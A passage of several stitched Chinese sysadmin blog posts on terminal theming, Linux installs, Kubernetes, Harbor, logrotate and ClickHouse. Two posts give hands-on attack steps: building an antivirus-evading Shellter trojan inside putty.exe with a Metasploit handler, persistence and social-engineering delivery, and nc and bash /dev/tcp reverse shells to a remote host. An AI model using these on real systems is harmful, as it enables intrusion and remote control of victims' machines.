ZSH_THEME="powerlevel10k/powerlevel10k"​4、安装语法高亮插件和自动补全插件安装方式与theme大同小异:cd ~/.oh-my-zsh/custom/plugins/ git clone https://github.com/zsh-users/zsh-syntax-highlighting.gitcd ~/.oh-my-zsh/custom/plugins/ git clone https://github.com/zsh-users/zsh-autosuggestions​​​下载完插件后退出iterm2接下来 vi ~/.zshrc 在插件配置处添加下载的这两个插件名plugins=( zsh-syntax-highlighting zsh-autosuggestions )另外历史记录时间戳可以改成如下格式HIST_STAMPS="yyyy-mm-dd"5、p10k configure向导模式进行p10k的主题定制定制过程中第一步提示下载字体​如果下载失败,先退出iterm2,再登录,输入代理命令后 运行p10k configurep10k configure​​​再进行字体下载 然后按照wizard向导根据你喜欢的风格进行主题定制部分截图如下 这是重新打开iterm2,体验一下定制过后的效果例如输入过的命令自动提示,这时只需要输入方向右键就可以自动补全界面美观且输命令也非常高效历史记录时间戳的效果6、iterm2 中使用Nerd Fonts字体https://www.nerdfonts.com/font-downloads​​下载字体安装字体iTerm2中修改为hack nerd fonts7、iterm2背景图片定制​​效果如下以上就是大致的配置与美化过程,更多的美化与配置可以参考如下文章https://cloud.tencent.com/developer/article/1639115下面是实体机MacOS下的效果

替代CentOS8的Rocky Linux 8.3 首个候选版本发布

Rocky Linux简单介绍CentOS 项目已经宣布了 CentOS 的战略转变,CentOS 以前是作为上游供应商的下游构建版本存在的(即它会在上游供应商之后收到补丁和更新),而现在它将转移为一个上游构建版本(即它会在上游供应商纳入之前测试补丁和更新)。另外,对 CentOS Linux 8 的支持也已从 2029年 5 月 31 日缩短至 2021 年 12 月 31 日。那么 Rocky Linux 从何而来呢?由于 CentOS 已改变方向,Rocky Linux 是一个社区企业操作系统,旨在与 Enterprise Linux 进行 100% BUG 兼容,而原因是后者的下游合作伙伴转移了发展方向。目前Rocky Linux社区正在集中力量发展有关设施。Rocky Linux 由 CentOS 项目的创始人 Gregory Kurtzer 领导Rocky Linux 的目标是像 CentOS 以前那样作为一个 RHEL 的下游构建版本,在被上游供应商纳入包更新之后(而不是之前)构建发行,为用户提供稳定的社区发行版 Linux 系统Rocky Linux 8.3的第一个候选版本已经发布  这是Rocky Linux项目作为红帽企业Linux(RHEL)的一个新的二进制兼容替代品的首次发布 下载地址: https://rockylinux.org/download/ https://download.rockylinux.org/pub/rocky/8.3/isos/x86_64/Rocky-8.3-x86_64-dvd1.isoRocky Linux8.3 RC版的安装与初体验下面我简单介绍Rocky Linux8.3 RC版的安装与初体验,特意选择安装Server with GUI版 步骤我就不详细说明了,截图如下(图片可以放大查看)​​​1、系统信息及内核信息查看cat /etc/redhat-release cat /etc/os-release uname -rdnf安装lrzsz工具包2、screenfetch./screenfetch-dev目前还没有收入rocky linux的logo 3、rocky-release信息cat /etc/rocky-release-upstream cat /etc/rocky-release4、EPEL源测试dnf install epel-release dnf install ncdu dnf repolist更多rocky Linux的资讯与信息可以访问Rocky Linux 社区 https://rockylinux.cn/及rocky Linux的Github项目 https://github.com/rocky-linux

利用frp搭建公网Metasploit并使用Shellter实现简单木马免杀

最近看了freebuf上关于Metasploit的一些文章,再加上最近所学习到的Kali知识,尝试利用Frp搭建公网Metasploit并使用Shellter实现简单木马免杀的渗透攻击简单的拓扑图如下云主机CentOS7内网Kali机基础概念1、Shellter 是一款动态 shellcode 注入工具,可以将shellcode注入到其它程序上,从而来躲避杀毒软件的查杀。俗称为免杀2、Metasploit是一个免费的、可下载的渗透攻击框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。Metasploit的设计初衷是打造成一个攻击工具开发平台, 然而在目前情况下,安全专家以及业余安全爱好者更多地将其当作一种点几下鼠标就可以利用其中附带的攻击工具进行成功攻击的环境3、Frp:一款国产优秀的内网穿透工具具体过程及步骤如下1、下载putty.exe 32位版本并上传kali机器并安装Shellter下载putty.exe32位,因为shellter只支持32位程序​apt install shellter dpkg --add-architecture i386 && apt update && apt -y install wine322、使用Shellter生成远控木马kali机器运行Shellter​​​​Use a listed payload or custom? (L/C/H): L 使用攻击模块列表 Select payload by index: 1 SET LHOST: 81.X.X.X 设置接收反弹的公网IP SET LPORT: 5432 设置接收反弹的端口当然你也可以使用msfvenom生成exe木马3、kali主机上安装frp内网穿透软件将metasploit的内网监听端口5432映射到公网云主机的5432端口上 映射关系如下metasploit反弹回连端口:内网192.168.31.57:5432<----------->公网81.X.X.X:5432kali SSH端口:内网192.168.31.57:22<----------->公网81.X.X.X:8722 kali机器上配置frpc.inifrp内网穿透这个我就不过多介绍配置过程了,可以参考之前的文章腾讯云主机上部署FRP+Teamviewer穿透内网进行远程运维Linux下内网穿透工具Frp的简单使用4、内网kali打开msfconsole监听反弹shelluse exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.31.57(kali控制机的内网IP) set LPORT 5432(反弹连接的端口,必须和shellter工具生成木马时设置的端口一样) run(开始监听)5、靶机上线后进行渗透攻击比如社工手段将木马程序传到靶机,一但靶机运行了该木马程序 msfconsole反弹shell就可以看到靶机上线,接下来就可以进行攻击渗透,控制靶机了为了演示方便,我在win7虚拟机电脑运行捆绑好木马的软件putty.exe 这时MSF可以看到会话建立了,接下来就可以搞事情了​​6、安装后门1)、将木马切换到一个比较稳定的进程,防止捆绑软件关闭后木马随之关闭run post/windows/manage/migrate2)、安装后门run persistence -X -i 40(多少秒发送一次连接) -p 5432(端口) -r 192.168.31.57(控制者IP)​​

使用nc及bash进行反弹shell的简单实践

使用nc及bash进行反弹shell的简单实践什么是反弹shell?反弹shell(reverse shell),就是控制端监听在某TCP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步参考百度查询到的关于shell反弹实践的一些文章,下面介绍我这边实践的过程一、被控端主机与控制端主机位于内网同网段场景如下图所示1、被控端主机——IP:192.168.31.84 2、kali控制端主机:192.168.31.1181)安装nc命令若没有nc命令,使用yum方式进行安装yum install nmap-ncatfirewall-cmd --zone=public --add-port=5432/tcp --permanent firewall-cmd --reload2)、nc命令开启本地监听端口nc -n -lvvp 5432 -t -e /bin/bash3)kali控制端主机使用nc命令连接被控端主机nc 192.168.31.84 5432执行shell命令,可以看到输入shell命令后被控主机的shell输出结果 二、被控端主机位于NAT后的场景如下图所示 被控端主机位于NAT后 控制端主机位于公网 1)控制端主机开启端口5432监听由于我这里是一台云主机,需要firewalld开放5432且云主机安全组规则也要放开该端口 firewall-cmd --zone=public --add-port=5432/tcp --permanent firewall-cmd --reload nc -n -lvvp 54322)被控端主机位于NAT后,主动去连控制端主机公网开放的5432端口nc X.X.X.X(公网IP) 5432 -t -e /bin/bash三、使用bash进行shell反弹以上是nc进行shell反弹的实践过程,下面介绍bash进行shell反弹 bash 直接反弹的两种写法1)写法1bash -i > /dev/tcp/81.X.X.X/5432 0>&1 2>&12)写法2bash -i >& /dev/tcp/81.X.X.X/5432 0>&1具体原理可以参考先知社区上的这两篇文章Linux反弹shell(一)文件描述符与重定向——https://xz.aliyun.com/t/2548Linux反弹shell(二)反弹shell的本质——https://xz.aliyun.com/t/25491)bash -i-i 代表交互式-i If the -i option is present, the shell is interactive.2)/dev/tcp/ip/port是一个特殊的文件,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的。但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信3)0>&1 标准输入与标准输出内容结合后重定向到标准输出里总结当然shell反弹的方式不局限于nc与bash两种方式,还有其它python,java,perl,php,ruby,socat等等,可以自动上网搜寻,本文就点到为止

VMware虚拟机下安装Kali Linux 2021.1系统

VMware虚拟机下安装Kali Linux 2021.1系统​Kali介绍​Kali Linux是基于Debian的Linux发行版, 设计用于数字取证操作系统。面向专业的渗透测试和安全审计。​Kali Linux 在渗透测试和白帽子方面是业界领先的 Linux 发行版。默认情况下,该发行版附带了大量入侵和渗透的工具和软件,预装超过300个渗透测试工具​​1、镜像包下载​kali linux 2021.1版本ISO镜像包下载地址​https://www.kali.org/downloads/​​​​​2、虚拟机创建​3、安装过程图解​​​​​​​​​​​​​​​​安装完成后重启正常进入登录界面​4、开启sshsudo systemctl enable ssh sudo systemctl start ssh​5、设置apt国内镜像源sudo vim /etc/apt/sources.list 修改成如下# See https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/ #deb http://http.kali.org/kali kali-rolling main contrib non-free deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free # Additional line for source packages # deb-src http://http.kali.org/kali kali-rolling main contrib non-free​​sudo apt clean all sudo apt-get update​​kali linux 2021.1的安装就简单介绍到这里

CentOS7下日志轮转logrotate简单入门与实践

CentOS7下日志轮转logrotate简单入门与实践一、logrotate介绍logrotate是一个日志文件管理工具。用来把旧文件轮转、压缩、删除,并且创建新的日志文件。我们可以根据日志文件的大小、天数等来转储,便于对日志文件管理,一般都是通过cron计划任务来完成的1、CentOS7发行版上都默认安装有logrotate包rpm -qa | grep logrotate rpm -ql logrotate​​2​、logrotate的配置文件logrotate的配置文件是/etc/logrotate.conf,通常不需要对它进行修改。可以针对特定应用程序或服务日志文件的轮循设置在独立的配置文件中,放在/etc/logrotate.d/目录下cat /etc/logrotate.conf cd /etc/logrotate.d/ ls -l​​​3、以nginx的日志轮转配置为例/var/log/nginx/*log { create 0664 nginx root daily rotate 10 missingok notifempty compress sharedscripts postrotate /bin/kill -USR1 `cat /run/nginx.pid 2>/dev/null` 2>/dev/null || true endscript }参数说明:create 0644 nginx root: 以指定的权限创建全新的日志文件,同时logrotate也会重命名原始日志文件daily:日志文件将按日轮循rotate 10: 一次将存储10个归档日志。对于第11个归档,时间最久的归档将被删除missingok: 在日志轮循期间,任何错误将被忽略,例如“文件无法找到”之类的错误。notifempty: 如果日志文件为空,轮循不会进行。compress: 在轮循任务完成后,已轮循的归档将使用gzip进行压缩postrotate/endscript: 在所有其它指令完成后,postrotate和endscript里面指定的命令将被执行4、logrotate日志轮转实操举例​​​1)、排障过程中的最佳选择是使用‘-d’选项以预演方式运行logrotatelogrotate -d /etc/logrotate.d/nginx从上面的输出结果可以看到的,logrotate判断该轮循是不必要的2)、即使轮循条件没有满足,我们也可以通过使用‘-f’选项来强制logrotate轮循日志文件,‘-v’参数提供了详细的输出logrotate -vf /etc/logrotate.d/nginx二、crontab实现定时任务linux内置的cron进程能帮我们实现定时执行某些任务的需求,cron搭配shell脚本,非常复杂的指令也没有问题。cron介绍cron守护进程是一个由实用程序和配置文件组成的小型子系统,在几乎所有类 UNIX 系统上都可以找到某种风格的cron,我们可以用ps aux|grep cron找到crond这个守护进程。我们经常使用的是crontab命令是cron table的简写,它是cron的配置文件,也可以叫它作业列表,我们可以在以下文件夹内找到相关配置文件。/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名/etc/crontab 这个文件负责调度各种管理和维护任务。/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。我们还可以把脚本放在/etc/con.hourly、/etc/con.daily、/etc/con.weekly、/etc/con.monthly目录中,让它每小时/天/星期、月执行一次。crontab的使用我们常用的命令如下:crontab [-u username] //省略用户表表示操作当前用户的crontab -e (编辑工作表) -l (列出工作表里的命令) -r (删除工作)我们用crontab -e进入当前用户的工作表编辑,是常见的vim界面。每行是一条命令。crontab的命令构成为 时间+动作,其时间有分、时、日、月、周五种,操作符有* 取值范围内的所有数字 / 每过多少个数字 - 从X到Z , 散列数字aaaa以下是几个例子时间 注释 0 0 25 12 * //在12月25日的0时0分 */5 * * * * //每过5分钟 * 4-6 * * * //每天的4 5 6点 * * * * 2,5 //每周二和周五三、crontab与logrotate配合使用举例例如:每10分钟轮转/opt/logs/下的日志文件 当日志文件大小达到100M时进行轮转,最多保留5个crontab -l */10 * * * * /usr/sbin/logrotate /etc/logrotate.d/optlogs cat /etc/logrotate.d/optlogs '/opt/logs/*.log' { create 0664 root root size 100M rotate 5 missingok notifempty compress sharedscripts postrotate /usr/bin/killall -HUP rsyslogd endscript

CentOS7下部署Docker私有仓库Harbor

CentOS7下部署Docker私有仓库HarborHarbor 是由 VMware 公司中国团队为企业用户设计的 Registry server 开源项目,包括了权限管理(RBAC)、LDAP、审计、管理界面、自我注册、HA 等企业必需的功能,同时针对中国用户的特点,设计镜像复制和中文支持等功能。作为一个企业级私有 Registry 服务器,Harbor 提供了更好的性能和安全。提升用户使用 Registry 构建和运行环境传输镜像的效率。Harbor 支持安装在多个 Registry 节点的镜像资源复制,镜像全部保存在私有 Registry 中, 确保数据和知识产权在公司内部网络中管控。另外,Harbor 也提供了高级的安全特性,诸如用户管理,访问控制和活动审计等。基于角色的访问控制 - 用户与 Docker 镜像仓库通过“项目”进行组织管理,一个用户可以对多个镜像仓库在同一命名空间(project)里有不同的权限。镜像复制 - 镜像可以在多个 Registry 实例中复制(同步)。尤其适合于负载均衡,高可用,混合云和多云的场景。图形化用户界面 - 用户可以通过浏览器来浏览,检索当前 Docker 镜像仓库,管理项目和命名空间。AD/LDAP 支持 - Harbor 可以集成企业内部已有的 AD/LDAP,用于鉴权认证管理。审计管理 - 所有针对镜像仓库的操作都可以被记录追溯,用于审计管理。国际化 - 已拥有英文、中文、德文、日文和俄文的本地化版本。更多的语言将会添加进来。RESTful API - RESTful API 提供给管理员对于 Harbor 更多的操控, 使得与其它管理软件集成变得更容易。部署简单 - 提供在线和离线两种安装工具, 也可以安装到 vSphere 平台(OVA 方式)虚拟设备下面介绍CentOS7下部署Docker私有仓库Harbor步骤1:安装docker# step 1: 安装必要的一些系统工具 yum install -y yum-utils device-mapper-persistent-data lvm2 # Step 2: 添加软件源信息 yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo # Step 3 sed -i 's+download.docker.com+mirrors.aliyun.com/docker-ce+' /etc/yum.repos.d/docker-ce.repo # Step 4: 更新并安装Docker-CE yum makecache fast yum -y install docker-ce # Step 4: 开启Docker服务 systemctl start docker systemctl enable docker docker version步骤2:安装docker-composeyum install docker-compose docker-compose -v​​​​步骤3:上传harbor v2.2.0离线安装包harbor-offline-installer-v2.2.0.tgz​​步骤4:openssl生成https证书使用openssl自签名生成证书mkdir /etc/certs/ cd /etc/certs/ 1)、生成server.key openssl genrsa -aes256 -out server.key 2048 2)、生成无密码的server.key openssl rsa -in server.key -out server.key 3)、创建服务器证书的申请文件 server.csr openssl req -new -key server.key -out server.csr 依次输入国家、省份、城市、公司、部门及邮箱 注意这里的域名输入时要特别注意 4)、生成crt证书文件server.crt openssl x509 -in server.csr -out server.crt -req -signkey server.key -days 3650 或者(openssl x509 -req -days 3650 -in server.csr -CA ca.crt -CAkey server.key -CAcreateserial步骤5:修改harbor.yml并安装harbortar -zxf harbor-offline-installer-v2.2.0.tgz cd harbor cp harbor.yml.tmpl harbor.yml vim harbor.yml 修改harbor.yml hostname: harbor.walkingcloud.cn certificate: /etc/certs/server.crt private_key: /etc/certs/server.key sh install.sh若有防火墙,则需要放通防火墙firewall-cmd --zone=public --add-port=443/tcp --permanent firewall-cmd --reload步骤6:登录harbor并创建项目步骤7:docker客户端测试harbor仓库1、安装docker步骤就不太详细描述,参考步骤12、修改配置/etc/docker/daemon.json添加阿里云docker镜像加速以及Docker私有仓库Registry信任地址vim /etc/docker/daemon.json cat /etc/docker/daemon.json "registry-mirrors": ["https://1jk30jsb.mirror.aliyuncs.com"], "insecure-registries": ["harbor.walkingcloud.cn"] systemctl daemon-reload systemctl restart docker步骤8、测试push到harb​or私有仓库1)从公有仓库拉取一个centos:latest镜像用于测试docker pull centos:latest docker images2)打上Tagdocker tag centos:latest harbor.walkingcloud.cn/yuanfan/centos8:v1 docker images3)配置主机名解析echo "192.168.198.200 harbor.walkingcloud.cn" >> /etc/hosts cat /etc/hosts4)登录仓库docker login harbor.walkingcloud.cn5)push到harbor私有仓库docker push harbor.walkingcloud.cn/yuanfan/centos8:v16)测试删除本地镜像后从harbor私有仓库拉取并测试docker pull harbor.walkingcloud.cn/yuanfan/centos8:v1

CentOS7下离线安装KubeSphere3.0集群

CentOS7下离线安装KubeSphere3.0集群KubeSphere简单介绍KubeSphere 是在 Kubernetes 之上构建的以应用为中心的多租户容器平台,提供全栈的 IT 自动化运维的能力,简化企业的 DevOps 工作流。 KubeSphere 提供了运维友好的向导式操作界面,帮助企业快速构建一个强大和功能丰富的容器云平台特点及优势1) 完全开源: 通过 CNCF 一致性认证的 Kubernetes 平台,100% 开源,由社区驱动与开发2) 简易安装: 支持部署在任何基础设施环境,提供在线与离线安装,支持一键升级与扩容集群3) 功能丰富: 在一个平台统一纳管 DevOps、云原生可观察性、服务网格、应用生命周期、多租户、多集群、存储与网络4) 模块化&可插拔: 平台中的所有功能都是可插拔与松耦合,您可以根据业务场景可选安装所需功能组件CentOS7下离线安装KubeSphere3.0集群的具体步骤步骤1:准备条件准备三台CentOS7.9的Linux主机主机 IP 主机名称 角色 192.168.31.127 master master, etcd 192.168.31.121 node1 worker 192.168.31.122 node2 worker要求1、硬盘分区要求根分区至少100G2、建议关闭firewalld防火墙KubeKey 使用 /var/lib/docker 作为默认路径来存储所有 Docker 相关文件(包括镜像)因此建议添加附加存储卷,分别给 /var/lib/docker 和 /mnt/registry 挂载至少 100G3、 提前下载KubeSphere v3.0.0 all-in-one的离线包https://kubesphere-installer.pek3b.qingstor.com/offline/v3.0.0/kubesphere-all-v3.0.0-offline-linux-amd64.tar.gz步骤2:基础环镜配置1)、三台主机均关闭防火墙与SELINUXsystemctl disable firewalld systemctl stop firewalld sed -i 's/enforcing/disabled/' /etc/selinux/config setenforce 02)、三台主机安装socat conntrack ebtables ipset等依赖项这里为了方便,主机在线yum安装了这些依赖项yum install socat conntrack ebtables ipset在离线环境中,可以使用私有包、RPM 包(适用于 CentOS)来安装这些依赖项3)、三台主机配置主机名解析(此步骤可以忽略)cat >> /etc/hosts << EOF 192.168.31.127 master 192.168.31.121 node1 192.168.31.122 node2 EOF步骤3:主节点上传并解压KubeSphere离线安装包tar -zxvf kubesphere-all-v3.0.0-offline-linux-amd64.tar.gz cd kubesphere-all-v3.0.0-offline-linux-amd64​​步骤4、创建并修改集群配置文件创建集群配置文件./kk create config --with-kubernetes v1.18.6 --with-kubesphere v3.0.0​​​修改集群配置文件vi config-sample.yaml​​​​需要在配置文件中添加节点信息及私有仓库地址privateRegistry 为了方便起见,我这里使用kubekey创建私有仓库,则该参数privateRegistry设置为:dockerhub.kubekey.local由于我已经本地编辑好了config-sample.yaml,直接覆盖 #请根据自己实际的环境修改config-sample.yamlcp -rf /root/config-sample.yaml ./执行如下命令会对配置文件中所有节点安装依赖,并使用kk创建自签名镜像仓库./kk init os -f config-sample.yaml -s ./dependencies/ --add-images-repo这时可以使用docker images命令查看是否创建了私有仓库docker images步骤5、镜像导入push-images.sh将镜像导入之前准备的dockerhub.kubekey.local私有仓库cd kubesphere-images-v3.0.0/ ./push-images.sh dockerhub.kubekey.local​​​步骤6、创建并安装集群cd /root/kubesphere-all-v3.0.0-offline-linux-amd64 ./kk create cluster -f config-sample.yaml​可以查看安装日志kubectl logs -n kubesphere-system $(kubectl get pod -n kubesphere-system -l app=ks-install -o jsonpath='{.items[0].metadata.name}') -f步骤7、web界面登录及体验kubesphere集群根据集群安装成功的提示进行登录Console: http://192.168.31.127:30880 Account: admin Password: P@88w0rd​​​

CentOS7下快速搭建K8s集群实践

Kubernetes 是一个可移植的、可扩展的开源平台,用于管理容器化的工作负载和服务,可促进声明式配置和自动化。Kubernetes 拥有一个庞大且快速增长的生态系统。Kubernetes 的服务、支持和工具广泛可用。  K8s的概念就不赘述了CentOS7下快速搭建K8s集群实践也可以参考之前文章CentOS7环境下快速部署Kubernetes(k8s)集群CentOS7下利用Rancher搭建K8s集群具体步骤如下1、基础环境说明CentOS7.6服务器4台 6 CPU/4G Mem192.168.198.200 master.walkingcloud.cn 192.168.198.201 node1.walkingcloud.cn 192.168.198.202 node2.walkingcloud.cn 192.168.198.203 node3.walkingcloud.cn2、使用脚本安装docker-ce以及k8s所需的基础组件rpm包上传docker20.10_k8s1.20_localrpm.tar.gz和docker_k8s_init_v1.sh脚本到4台服务器执行脚本sh docker_k8s_init_v1.sh docker_k8s_init_v1.sh脚本内容如下#!/bin/bash cat >> /etc/hosts << EOF 192.168.198.200 master.walkingcloud.cn 192.168.198.201 node1.walkingcloud.cn 192.168.198.202 node2.walkingcloud.cn 192.168.198.203 node3.walkingcloud.cn echo "----------操作系统环境初始化----------------" swapoff -a #若需要永久关闭swap,需要在/etc/fstab中注释掉swap分区一行 systemctl stop firewalld systemctl disable firewalld sed -i 's/enforcing/disabled/' /etc/selinux/config setenforce 0 echo "net.bridge.bridge-nf-call-iptables = 1 ">>/etc/sysctl.d/k8s.conf echo "net.bridge.bridge-nf-call-ip6tables = 1 ">>/etc/sysctl.d/k8s.conf sysctl --system echo "----------docker-ce以及k8s本地rpm包解压--------------" tar -zxvf docker20.10_k8s1.20_localrpm.tar.gz -C /opt echo "----------docker-ce以及kubelet,kubectl等基础组件安装----------------" cd /opt/docker20.10_k8s1.20_localrpm yum -y localinstall *.rpm systemctl enable docker systemctl start docker docker version systemctl enable kubelet systemctl start kubelet echo "----------docker-ce以及k8s aliyun镜像源配置----------------" wget https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo -O /etc/yum.repos.d/docker-ce.repo cat <<EOF > /etc/yum.repos.d/kubernetes.repo [kubernetes] name=Kubernetes baseurl=https://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64/ enabled=1 gpgcheck=0 repo_gpgcheck=0 gpgkey=https://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg https://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpg yum clean all yum makecache fast3、主节点进行初始化kubeadm initapiserver-advertise-address指定为主节点的IP:192.168.198.200kubeadm init --apiserver-advertise-address=192.168.198.200 --pod-network-cidr=10.244.0.0/16 --i​​4​、master节点运行上一步的提示命令根据上一步的提示执行如下命令mkdir -p $HOME/.kube sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config sudo chown $(id -u):$(id -g) $HOME/.kube/config​​5、主节点安装网络flannel组件wget https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml kubectl apply -f kube-flannel.yml​​​​6、节点依次加入集群其中token是主节点初始化kubeadm init完成时的提示kubeadm join 192.168.198.200:6443 --token aunv86.6hnhiviy4wowycab \ > --discovery-token-ca-cert-hash sha256:33c612204e0ba85bfaa15ee07f4c30b8da209ab63df2521617c1b509c56a9fc8​​​7、集群状态检查加入集群需要一点时间,如果节点状态为notReady请等待几分钟 如果全部为ready就说明加入成功kubectl get nodes kubectl get pod --all-namespaces -o wide​​​​

CentOS7下搭建开源日志采集分析系统LogAnalyzer

CentOS7下搭建日志采集分析系统LogAnalyzerLogAnalyzer是一款Web界面syslog日志分析工具。它提供了对日志的简单浏览、搜索、基本分析和一些图表报告的功能。数据可以从数据库或一般的syslog文本文件中获取,所以LogAnalyzer不需要改变现有的记录架构。基于当前的日志数据,它可以处理syslog日志消息,Windows事件日志记录,支持故障排除,使用户能够快速查找日志数据 https://loganalyzer.adiscon.com/感谢网友temptation的投稿 本文参考其文章完成:原文章链接https://www.cnblogs.com/iflytek/p/14403664.html具体步骤如下1、环境准备CentOS7.6的服务器一台 IP:192.168.198.132 可以访问互联网,并关闭SELINUX​​​2、脚本方式完成HTTP+PHP+MySQL+LogAnalyzer的部署上传脚本及相关文件至/opt目录下cd /opt tar -zxvf rsyslog_and_loganalyzer.tar.gz sh loganalyzer.sh其中loganalyzer.sh脚本内容如下[root@localhost opt]# cat loganalyzer.sh #!/bin/bash wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo sed -i -e '/mirrors.cloud.aliyuncs.com/d' -e '/mirrors.aliyuncs.com/d' /etc/yum.repos.d/CentOS-Base.repo wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo cat > /etc/yum.repos.d/mysql-community.repo << "EOF" [mysql-connectors-community] name=MySQL Connectors Community baseurl=https://mirrors.tuna.tsinghua.edu.cn/mysql/yum/mysql-connectors-community-el7-$basearch/ enabled=1 gpgcheck=1 gpgkey=https://repo.mysql.com/RPM-GPG-KEY-mysql [mysql-tools-community] name=MySQL Tools Community baseurl=https://mirrors.tuna.tsinghua.edu.cn/mysql/yum/mysql-tools-community-el7-$basearch/ enabled=1 gpgcheck=1 gpgkey=https://repo.mysql.com/RPM-GPG-KEY-mysql [mysql-5.7-community] name=MySQL 5.7 Community Server baseurl=https://mirrors.tuna.tsinghua.edu.cn/mysql/yum/mysql-5.7-community-el7-$basearch/ enabled=1 gpgcheck=1 gpgkey=https://repo.mysql.com/RPM-GPG-KEY-mysql yum clean all yum makecache yum install mysql-community-server.x86_64 -y systemctl start mysqld systemctl enable mysqld netstat -anp | grep 3306 ps -ef | grep mysql echo "----------获取MySQL的root用户初始密码----------------" grep "temporary password" /var/log/mysqld.log echo "----------设置MySQL的root设置新密码----------------" echo "----------请设置新密码为MySQL@2021----------------" mysql_secure_installation echo "----------安装rsyslog-mysql并替换rsyslog.conf----------------" yum -y install rsyslog-mysql mv /etc/rsyslog.conf /etc/rsyslog.conf_bak cp /opt/rsyslog.conf_template /etc/rsyslog.conf systemctl restart rsyslog.service mysql -uroot -pMySQL@2021 < /usr/share/doc/rsyslog-8.24.0/mysql-createDB.sql echo "----------登录MySQL创建rsyslog库----------------" echo "create database rsyslog character set utf8 collate utf8_bin;"| mysql -uroot -pMySQL@2021 echo "grant all privileges on Syslog.* to 'rsyslog'@'%' identified by 'Rsyslog@2021'; "|mysql -uroot -pMySQL@2021 echo "grant all privileges on rsyslog.* to 'rsyslog'@'localhost' identified by 'Rsyslog@2021'; "|mysql -uroot -pMySQL@2021 echo "flush privileges;"|mysql -uroot -pMySQL@2021 yum -y install httpd php php-mysql php-gd cd /opt/ tar -zxvf loganalyzer-4.1.11.tar.gz echo "----------解压并配置loganalyzer----------------" mkdir -p /var/log/httpd/log mkdir -p /var/www/html/log cp -rf /opt/loganalyzer-4.1.11/src/* /var/www/html/log cp -rf /opt/loganalyzer-4.1.11/contrib/* /var/www/html/log cd /var/www/html/log chmod +x configure.sh secure.sh sh configure.sh chmod 666 config.php chown -R apache.apache * systemctl start httpd systemctl enable httpd systemctl status httpd echo "----------请登录web初始化loganalyzer:http://IP:/log----------------"脚本并非全自动化,需要在执行过程中需要重新设置MySQL的root密码其中rsyslog.conf_template 做了如下修改3、登录web初始化loganalyzer​​​​用户数据库连接配置 DatabaseName:Syslog  #注意我这里使用的是Syslog,当然你也可以用之前脚本中创建的rsyslog库  Database User:rsyslogDatabase Password:Rsyslog@2021日志数据库  Database Name:Syslog  Database Tablename:SystemEvents (注意大小写)Database User:rsyslog  Database Password:Rsyslog@20214、测试主机debian配置rsyslog转发​​​5、loganalyzer使用截图主界面​(图片可放大查看)数据统计日志关键字搜索

CentOS7下搭建ClickHouse集群

一、ClickHouse简单介绍什么是ClickHouse?ClickHouse是一个用于联机分析(OLAP)的列式数据库管理系统(DBMS)。具体概念可以参考官方文档中的介绍:https://clickhouse.tech/docs/zh/二、ClickHouse特点以及业务价值三、CentOS7下搭建ClickHouse集群1、基础环境介绍三台CentOS7.9服务器(均可以访问互联网)node1 192.168.31.121node2 192.168.31.122node3 192.168.31.123​​2、利用脚本搭建zookeeper+clickhouse集群具体操作步骤cd /opt rz上传clickhouse.zip unzip clickhouse.zip #所在节点执行对应的安装脚本 #例如node1执行sh jdk_zookeeper_clickhouse_node1.sh sh jdk_zookeeper_clickhouse_node1.sh​​jdk_zookeeper_clickhouse_node1.sh脚本内容如下 以node1为例[root@node1 opt]# cat jdk_zookeeper_clickhouse_node1.sh #!/bin/bash #wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo #sed -i -e '/mirrors.cloud.aliyuncs.com/d' -e '/mirrors.aliyuncs.com/d' /etc/yum.repos.d/CentOS-Base.repo #wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo #yum clean all #yum makecache echo "-----------基础环境配置----------------" setenforce 0 sed -i 's/^SELINUX=.*$/SELINUX=disabled/' /etc/selinux/config systemctl disable firewalld systemctl stop firewalld cat >> /etc/security/limits.conf << EOF * soft nofile 65536 * hard nofile 65536 * soft nproc 131072 * hard nproc 131072 cat >> /etc/security/limits.d/90-nproc.conf << EOF * soft nofile 65536 * hard nofile 65536 * soft nproc 131072 * hard nproc 131072 cat >> /etc/hosts << EOF 192.168.31.121 node1 192.168.31.122 node2 192.168.31.123 node3 cat > /etc/yum.repos.d/clickhouse.repo << EOF [repo.yandex.ru_clickhouse_rpm_stable_x86_64] name=clickhouse stable baseurl=https://mirrors.tuna.tsinghua.edu.cn/clickhouse/rpm/stable/x86_64 enabled=1 echo "-----------安装JDK----------------" cd /opt sleep 5 rpm -ivh jdk-8u251-linux-x64.rpm echo "export JAVA_HOME=/usr/java/jdk1.8.0_251-amd64" >> /etc/profile echo "export PATH=\$PATH:\$JAVA_HOME/bin" >> /etc/profile echo "export CLASSPATH=.:\$JAVA_HOME/jre/lib:\$JAVA_HOME/lib:\$JAVA_HOME/lib/tools.jar" >> /etc/profile echo "-----------安装zookeeper----------------" cd /opt tar -zxf apache-zookeeper-3.6.2-bin.tar.gz mv apache-zookeeper-3.6.2-bin zookeeper cd zookeeper mkdir data cd conf cp zoo_sample.cfg zoo.cfg sed -i "s#dataDir=/tmp/zookeeper#dataDir=/opt/zookeeper/data#g" zoo.cfg echo "server.1=node1:2888:3888" >> zoo.cfg echo 